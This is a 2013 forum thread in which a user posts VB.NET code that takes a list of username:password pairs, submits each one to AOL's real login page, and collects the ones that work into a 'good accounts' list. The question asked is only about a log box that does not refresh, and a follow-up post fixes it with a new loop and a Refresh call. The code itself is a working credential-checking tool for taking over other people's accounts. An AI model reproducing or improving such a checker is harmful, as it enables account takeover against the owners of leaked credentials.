1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

A little help

Discussion in 'Visual Basic .NET' started by fpforum, Jan 1, 2013.

  1. fpforum

    fpforum Junior Member

    Joined:
    Apr 22, 2008
    Messages:
    117
    Likes Received:
    4
    Home Page:
    I've been working on a simple program to test aol/aim accounts..

    Everything seams to be working fine but for some reason the txtLog does not seam to update for each account until the loop is completely finished..

    The code selects the account from a listbox, checks it, and then pauses for 1second and move to the next item in the list. It seams to go through the list fine, but the txtLog text I try to append after each check doesn't show up until it posts the results for all of the accounts at once...

    When you click start button it launches:
    Code:
        Private Sub StartToolStripMenuItem_Click(sender As System.Object, e As System.EventArgs) Handles StartToolStripMenuItem.Click
    
            For x As Integer = 0 To lstAccts.Items.Count - 1
                lstAccts.SelectedIndex = Me.lstAccts.SelectedIndex + 1
                Call checkAccount()
    
                If x < 0 Then
                    Exit For
                Else
                    System.Threading.Thread.Sleep(1000)
                End If
            Next x
            txtLog.AppendText("Account Testing Completed at: " & TimeOfDay & vbCrLf)
    
        End Sub
    
    That code selects the item and starts the loop. It then calls this sub to check the account

    Code:
        Public Sub checkAccount()
    
            Dim line As String = lstAccts.SelectedItem()
            Dim parts() As String
    
            parts = line.Split(":")
    
            Dim Username As String = parts(0) 'The Aol screen name
            Dim Password As String = parts(1) 'The Aol password
            Dim Post As String = "/_cqr/login/login.psp sitedomain=startpage.aol.com&siteId=&lang=en&locale=us&authLev=0&siteState=OrigUrl%253Dhttp%25253A%25252F%25252Fwww.aol.com%25252F&isSiteStateEncoded=true&mcState=initialized&uitype=std&use_aam=0&offerId=&seamless=y&regPromoCode=&usrd=1795702&doSSL=&redirType=&xchk=false&tab=&lsoDP=id%3DE972048F-57EC-62F4-2F30-2E5009CA0C6C&loginId={0}&password={1}"
            Post = String.Format(Post, Username, Password) 'Password(I))
            Dim InformationA As String
            Dim InformationB As String
            Cookies = New CookieContainer()
            Dim Encoding As New ASCIIEncoding()
            Dim Data As Byte() = Encoding.GetBytes(Post)
            Dim Request As HttpWebRequest = DirectCast(WebRequest.Create("https://my.screenname.aol.com/_cqr/login/login.psp?sitedomain=startpage.aol.com&siteState=OrigUrl%3dhttp%253A%252F%252Fwww.aol.com%252F&authLev=0&lang=en&locale=us"), HttpWebRequest)
            Request.Method = "POST"
            Request.UserAgent = ".NET Example Client"
            Request.ContentType = "application/x-www-form-urlencoded"
            Request.CookieContainer = Cookies
            Dim DataStream As Stream = Request.GetRequestStream()
            DataStream.Write(Data, 0, Data.Length)
            Dim Response As HttpWebResponse = DirectCast(Request.GetResponse(), HttpWebResponse)
            Dim SR As New StreamReader(Response.GetResponseStream())
            InformationA = SR.ReadToEnd()
            InformationB = InformationA
            If InformationB.Contains("Username Service") Then
                lstGoodAccounts.Items.Add(line)
                txtLog.AppendText("Successfully Logged into Account: " & Username & " at: " & TimeOfDay & vbCrLf)
                Response.Close()
            ElseIf InformationB.Contains("Incorrect Username") Then
                txtLog.AppendText("Incorrect Login Details for Account: " & Username & " at: " & TimeOfDay & vbCrLf)
                Response.Close()
            Else
                txtLog.AppendText("Unknown Login Error for Account: " & Username & " at: " & TimeOfDay & vbCrLf)
                Response.Close()
            End If
    
        End Sub
    
    As you notice, at the end of this sub (once it is done checking the account)..it should update the txtbox of whether the account was good or bad..It checks just fine and the log does update..but not until it posts the log for all the accounts it just test.

    Any idea where I'm going wrong here? Thanks!
     
  2. fpforum

    fpforum Junior Member

    Joined:
    Apr 22, 2008
    Messages:
    117
    Likes Received:
    4
    Home Page:
    I was able to fix the issue..Here is what I did

    -Changed my Loop around
    Code:
     For i As Integer = 0 To lstAccts.Items.Count - 1
                lstAccts.SelectedIndex = i
                selectedAccount = lstAccts.Items(i).ToString
                Thread.Sleep(2000)
                Call checkAccount()
            Next
    
    -Added the following after my if statement inside checkAccount()
    Code:
    txtLog.Refresh()
    
    that did it!